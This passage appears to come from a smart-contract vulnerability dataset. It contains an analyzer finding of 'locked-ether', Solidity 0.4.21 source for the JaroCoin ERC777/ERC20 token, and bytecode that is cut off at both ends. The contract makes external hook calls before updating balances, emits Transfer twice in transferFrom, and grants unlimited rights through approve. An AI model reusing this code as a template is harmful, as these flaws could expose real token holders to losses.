f1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e576003818154811015156115c257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fb57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061150a565b8160405190808252806020026020018201604052801561167a5781602001602082028038833980820191505090505b509350600090505b818110156116f957828181518110151561169857fe5b9060200190602002015184828151811015156116b057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611682565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174157600080fd5b60038054905081603282111580156117595750818111155b8015611766575060008114155b8015611773575060008214155b151561177e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199785611cdd565b5050505050565b60006119ab848484611f85565b90506119b6816117c1565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ab757600080fd5b600092505b600380549050831015611ba0578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b935783600384815481101515611b4657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ba0565b8280600101935050611abc565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d3857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da357600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dd357600080fd5b611ddc86611020565b15611f7d57600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611efa8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef05780601f10611ec557610100808354040283529160200191611ef0565b820191906000526020600020905b815481529060010190602001808311611ed357829003601f168201915b50505050506120d7565b15611f3157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f7c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fae57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061206d92919061212a565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156121255781836000526020600020918201910161212491906121aa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216b57805160ff1916838001178555612199565b82800160010185558215612199579182015b8281111561219857825182559160200191906001019061217d565b5b5090506121a691906121aa565b5090565b6121cc91905b808211156121c85760008160009055506001016121b0565b5090565b905600a165627a7a723058205e93ae06a91893ac06a4c01837a283490f5baeab53d1e01ff0d3c3ad91c597e70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,207 |
0x2e5fb91975c3fb6f6d61c5859314e7c53af07912
|
pragma solidity 0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC820Registry {
function getManager(address addr) public view returns(address);
function setManager(address addr, address newManager) public;
function getInterfaceImplementer(address addr, bytes32 iHash) public constant returns (address);
function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public;
}
contract ERC820Implementer {
ERC820Registry erc820Registry = ERC820Registry(0x991a1bcb077599290d7305493c9A630c20f8b798);
function setInterfaceImplementation(string ifaceLabel, address impl) internal {
bytes32 ifaceHash = keccak256(ifaceLabel);
erc820Registry.setInterfaceImplementer(this, ifaceHash, impl);
}
function interfaceAddr(address addr, string ifaceLabel) internal constant returns(address) {
bytes32 ifaceHash = keccak256(ifaceLabel);
return erc820Registry.getInterfaceImplementer(addr, ifaceHash);
}
function delegateManagement(address newManager) internal {
erc820Registry.setManager(this, newManager);
}
}
interface ERC777TokensSender {
function tokensToSend(address operator, address from, address to, uint amount, bytes userData,bytes operatorData) external;
}
interface ERC777TokensRecipient {
function tokensReceived(address operator, address from, address to, uint amount, bytes userData, bytes operatorData) external;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev The constructor sets the original owner of the contract to the sender account.
*/
function Ownable() public {
setOwner(msg.sender);
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
owner = newOwner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
setOwner(newOwner);
}
}
contract JaroCoinToken is Ownable, ERC820Implementer {
using SafeMath for uint256;
string public constant name = "JaroCoin";
string public constant symbol = "JARO";
uint8 public constant decimals = 18;
uint256 public constant granularity = 1e10; // Token has 8 digits after comma
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => bool)) public isOperatorFor;
mapping (address => mapping (uint256 => bool)) private usedNonces;
event Transfer(address indexed from, address indexed to, uint256 value);
event Sent(address indexed operator, address indexed from, address indexed to, uint256 amount, bytes userData, bytes operatorData);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes userData, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply = 0;
uint256 public constant maxSupply = 21000000e18;
// ------- ERC777/ERC965 Implementation ----------
/**
* @notice Send `_amount` of tokens to address `_to` passing `_userData` to the recipient
* @param _to The address of the recipient
* @param _amount The number of tokens to be sent
* @param _userData Data generated by the user to be sent to the recipient
*/
function send(address _to, uint256 _amount, bytes _userData) public {
doSend(msg.sender, _to, _amount, _userData, msg.sender, "", true);
}
/**
* @dev transfer token for a specified address via cheque
* @param _to The address to transfer to
* @param _amount The amount to be transferred
* @param _userData The data to be executed
* @param _nonce Unique nonce to avoid double spendings
*/
function sendByCheque(address _to, uint256 _amount, bytes _userData, uint256 _nonce, uint8 v, bytes32 r, bytes32 s) public {
require(_to != address(this));
// Check if signature is valid, get signer's address and mark this cheque as used.
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 hash = keccak256(prefix, keccak256(_to, _amount, _userData, _nonce));
// bytes32 hash = keccak256(_to, _amount, _userData, _nonce);
address signer = ecrecover(hash, v, r, s);
require (signer != 0);
require (!usedNonces[signer][_nonce]);
usedNonces[signer][_nonce] = true;
// Transfer tokens
doSend(signer, _to, _amount, _userData, signer, "", true);
}
/**
* @notice Authorize a third party `_operator` to manage (send) `msg.sender`'s tokens.
* @param _operator The operator that wants to be Authorized
*/
function authorizeOperator(address _operator) public {
require(_operator != msg.sender);
isOperatorFor[_operator][msg.sender] = true;
emit AuthorizedOperator(_operator, msg.sender);
}
/**
* @notice Revoke a third party `_operator`'s rights to manage (send) `msg.sender`'s tokens.
* @param _operator The operator that wants to be Revoked
*/
function revokeOperator(address _operator) public {
require(_operator != msg.sender);
isOperatorFor[_operator][msg.sender] = false;
emit RevokedOperator(_operator, msg.sender);
}
/**
* @notice Send `_amount` of tokens on behalf of the address `from` to the address `to`.
* @param _from The address holding the tokens being sent
* @param _to The address of the recipient
* @param _amount The number of tokens to be sent
* @param _userData Data generated by the user to be sent to the recipient
* @param _operatorData Data generated by the operator to be sent to the recipient
*/
function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public {
require(isOperatorFor[msg.sender][_from]);
doSend(_from, _to, _amount, _userData, msg.sender, _operatorData, true);
}
/* -- Helper Functions -- */
/**
* @notice Internal function that ensures `_amount` is multiple of the granularity
* @param _amount The quantity that want's to be checked
*/
function requireMultiple(uint256 _amount) internal pure {
require(_amount.div(granularity).mul(granularity) == _amount);
}
/**
* @notice Check whether an address is a regular address or not.
* @param _addr Address of the contract that has to be checked
* @return `true` if `_addr` is a regular address (not a contract)
*/
function isRegularAddress(address _addr) internal constant returns(bool) {
if (_addr == 0) { return false; }
uint size;
assembly { size := extcodesize(_addr) } // solhint-disable-line no-inline-assembly
return size == 0;
}
/**
* @notice Helper function that checks for ERC777TokensSender on the sender and calls it.
* May throw according to `_preventLocking`
* @param _from The address holding the tokens being sent
* @param _to The address of the recipient
* @param _amount The amount of tokens to be sent
* @param _userData Data generated by the user to be passed to the recipient
* @param _operatorData Data generated by the operator to be passed to the recipient
* implementing `ERC777TokensSender`.
* ERC777 native Send functions MUST set this parameter to `true`, and backwards compatible ERC20 transfer
* functions SHOULD set this parameter to `false`.
*/
function callSender(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData
) private {
address senderImplementation = interfaceAddr(_from, "ERC777TokensSender");
if (senderImplementation != 0) {
ERC777TokensSender(senderImplementation).tokensToSend(
_operator, _from, _to, _amount, _userData, _operatorData);
}
}
/**
* @notice Helper function that checks for ERC777TokensRecipient on the recipient and calls it.
* May throw according to `_preventLocking`
* @param _from The address holding the tokens being sent
* @param _to The address of the recipient
* @param _amount The number of tokens to be sent
* @param _userData Data generated by the user to be passed to the recipient
* @param _operatorData Data generated by the operator to be passed to the recipient
* @param _preventLocking `true` if you want this function to throw when tokens are sent to a contract not
* implementing `ERC777TokensRecipient`.
* ERC777 native Send functions MUST set this parameter to `true`, and backwards compatible ERC20 transfer
* functions SHOULD set this parameter to `false`.
*/
function callRecipient(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
) private {
address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient");
if (recipientImplementation != 0) {
ERC777TokensRecipient(recipientImplementation).tokensReceived(
_operator, _from, _to, _amount, _userData, _operatorData);
} else if (_preventLocking) {
require(isRegularAddress(_to));
}
}
/**
* @notice Helper function actually performing the sending of tokens.
* @param _from The address holding the tokens being sent
* @param _to The address of the recipient
* @param _amount The number of tokens to be sent
* @param _userData Data generated by the user to be passed to the recipient
* @param _operatorData Data generated by the operator to be passed to the recipient
* @param _preventLocking `true` if you want this function to throw when tokens are sent to a contract not
* implementing `erc777_tokenHolder`.
* ERC777 native Send functions MUST set this parameter to `true`, and backwards compatible ERC20 transfer
* functions SHOULD set this parameter to `false`.
*/
function doSend(
address _from,
address _to,
uint256 _amount,
bytes _userData,
address _operator,
bytes _operatorData,
bool _preventLocking
)
private
{
requireMultiple(_amount);
callSender(_operator, _from, _to, _amount, _userData, _operatorData);
require(_to != 0x0); // forbid sending to 0x0 (=burning)
require(balanceOf[_from] >= _amount); // ensure enough funds
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
callRecipient(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
emit Sent(_operator, _from, _to, _amount, _userData, _operatorData);
emit Transfer(_from, _to, _amount);
}
// ------- ERC20 Implementation ----------
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
doSend(msg.sender, _to, _value, "", msg.sender, "", false);
return true;
}
/**
* @dev Transfer tokens from one address to another. Technically this is not ERC20 transferFrom but more ERC777 operatorSend.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isOperatorFor[msg.sender][_from]);
doSend(_from, _to, _value, "", msg.sender, "", true);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Originally in ERC20 this function to check the amount of tokens that an owner allowed to a spender.
*
* Function was added purly for backward compatibility with ERC20. Use operator logic from ERC777 instead.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A returning uint256 balanceOf _spender if it's active operator and 0 if not.
*/
function allowance(address _owner, address _spender) public view returns (uint256 _amount) {
if (isOperatorFor[_spender][_owner]) {
_amount = balanceOf[_owner];
} else {
_amount = 0;
}
}
/**
* @dev Approve the passed address to spend tokens on behalf of msg.sender.
*
* This function is more authorizeOperator and revokeOperator from ERC777 that Approve from ERC20.
* Approve concept has several issues (e.g. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729),
* so I prefer to use operator concept. If you want to revoke approval, just put 0 into _value.
* @param _spender The address which will spend the funds.
* @param _value Fake value to be compatible with ERC20 requirements.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != msg.sender);
if (_value > 0) {
// Authorizing operator
isOperatorFor[_spender][msg.sender] = true;
emit AuthorizedOperator(_spender, msg.sender);
} else {
// Revoking operator
isOperatorFor[_spender][msg.sender] = false;
emit RevokedOperator(_spender, msg.sender);
}
emit Approval(msg.sender, _spender, _value);
return true;
}
// ------- Minting and burning ----------
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @param _operatorData Data that will be passed to the recipient as a first transfer.
*/
function mint(address _to, uint256 _amount, bytes _operatorData) public onlyOwner {
require (totalSupply.add(_amount) <= maxSupply);
requireMultiple(_amount);
totalSupply = totalSupply.add(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
callRecipient(msg.sender, 0x0, _to, _amount, "", _operatorData, true);
emit Minted(msg.sender, _to, _amount, _operatorData);
emit Transfer(0x0, _to, _amount);
}
/**
* @dev Function to burn sender's tokens
* @param _amount The amount of tokens to burn.
* @return A boolean that indicates if the operation was successful.
*/
function burn(uint256 _amount, bytes _userData) public {
require (_amount > 0);
require (balanceOf[msg.sender] >= _amount);
requireMultiple(_amount);
callSender(msg.sender, msg.sender, 0x0, _amount, _userData, "");
totalSupply = totalSupply.sub(_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
emit Burned(msg.sender, msg.sender, _amount, _userData, "");
emit Transfer(msg.sender, 0x0, _amount);
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b057806318160ddd1461020a57806323b872dd14610233578063313ce567146102ac578063398427e6146102db578063556f0dc71461038f57806362ad1b83146103b857806370a082311461049f5780638da5cb5b146104ec57806394d008ef14610541578063959b8c3f146105c657806395d89b41146105ff5780639bd9bbc61461068d578063a9059cbb14610712578063d5abeb011461076c578063d95b637114610795578063dd62ed3e14610805578063f2fde38b14610871578063fad8b32a146108aa578063fe9d9303146108e3575b600080fd5b341561012d57600080fd5b610135610949565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101f0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610982565b604051808215151515815260200191505060405180910390f35b341561021557600080fd5b61021d610c1b565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b610292600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c21565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf610d58565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e657600080fd5b61038d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803560ff169060200190919080356000191690602001909190803560001916906020019091905050610d5d565b005b341561039a57600080fd5b6103a26110a6565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b61049d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506110af565b005b34156104aa57600080fd5b6104d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061115b565b6040518082815260200191505060405180910390f35b34156104f757600080fd5b6104ff611173565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054c57600080fd5b6105c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611198565b005b34156105d157600080fd5b6105fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611422565b005b341561060a57600080fd5b61061261154f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610652578082015181840152602081019050610637565b50505050905090810190601f16801561067f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561069857600080fd5b610710600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611588565b005b341561071d57600080fd5b610752600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115ad565b604051808215151515815260200191505060405180910390f35b341561077757600080fd5b61077f6115e9565b6040518082815260200191505060405180910390f35b34156107a057600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115f8565b604051808215151515815260200191505060405180910390f35b341561081057600080fd5b61085b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611627565b6040518082815260200191505060405180910390f35b341561087c57600080fd5b6108a8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061170a565b005b34156108b557600080fd5b6108e1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611828565b005b34156108ee57600080fd5b610947600480803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611955565b005b6040805190810160405280600881526020017f4a61726f436f696e00000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109bf57600080fd5b6000821115610abc576001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167ff4caeb2d6ca8932a215a353d0703c326ec2d81fc68170f320eb2ab49e9df61f960405160405180910390a3610bac565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f50546e66e5f44d728365dc3908c63bc5cfeeab470722c1677e3073a6ac294aa160405160405180910390a35b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb857600080fd5b610ce884848460206040519081016040528060008152503360206040519081016040528060008152506001611bc4565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b610d656126cd565b6000803073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614151515610da357600080fd5b6040805190810160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152509250828a8a8a8a604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184815260200183805190602001908083835b602083101515610e5c5780518252602082019150602081019050602083039250610e37565b6001836020036101000a03801982511681845116808217855250505050505090500182815260200194505050505060405180910390206040518083805190602001908083835b602083101515610ec75780518252602082019150602081019050602083039250610ea2565b6001836020036101000a03801982511681845116808217855250505050505090500182600019166000191681526020019250505060405180910390209150600182878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11515610f7657600080fd5b505060206040510351905060008173ffffffffffffffffffffffffffffffffffffffff1614151515610fa757600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060009054906101000a900460ff1615151561101157600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060006101000a81548160ff02191690831515021790555061109a818b8b8b8560206040519081016040528060008152506001611bc4565b50505050505050505050565b6402540be40081565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561114457600080fd5b6111548585858533866001611bc4565b5050505050565b60026020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f357600080fd5b6a115eec47f6cf7e3500000061121483600554611f4c90919063ffffffff16565b1115151561122157600080fd5b61122a82611f6a565b61123f82600554611f4c90919063ffffffff16565b60058190555061129782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb33600085856020604051908101604052806000815250866001611fa9565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbcd28e05e57d4bcd5bfcc92a4661d412893e6112c44a2e25d96cfdfc30d5f22e84846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611392578082015181840152602081019050611377565b50505050905090810190601f1680156113bf5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145d57600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167ff4caeb2d6ca8932a215a353d0703c326ec2d81fc68170f320eb2ab49e9df61f960405160405180910390a350565b6040805190810160405280600481526020017f4a41524f0000000000000000000000000000000000000000000000000000000081525081565b6115a8338484843360206040519081016040528060008152506001611bc4565b505050565b60006115df33848460206040519081016040528060008152503360206040519081016040528060008152506000611bc4565b6001905092915050565b6a115eec47f6cf7e3500000081565b60036020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ff57600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611704565b600090505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117a157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36118258161222a565b50565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561186357600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f50546e66e5f44d728365dc3908c63bc5cfeeab470722c1677e3073a6ac294aa160405160405180910390a350565b60008211151561196457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156119b257600080fd5b6119bb82611f6a565b6119da333360008585602060405190810160405280600081525061226d565b6119ef826005546124ce90919063ffffffff16565b600581905550611a4782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ce90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffff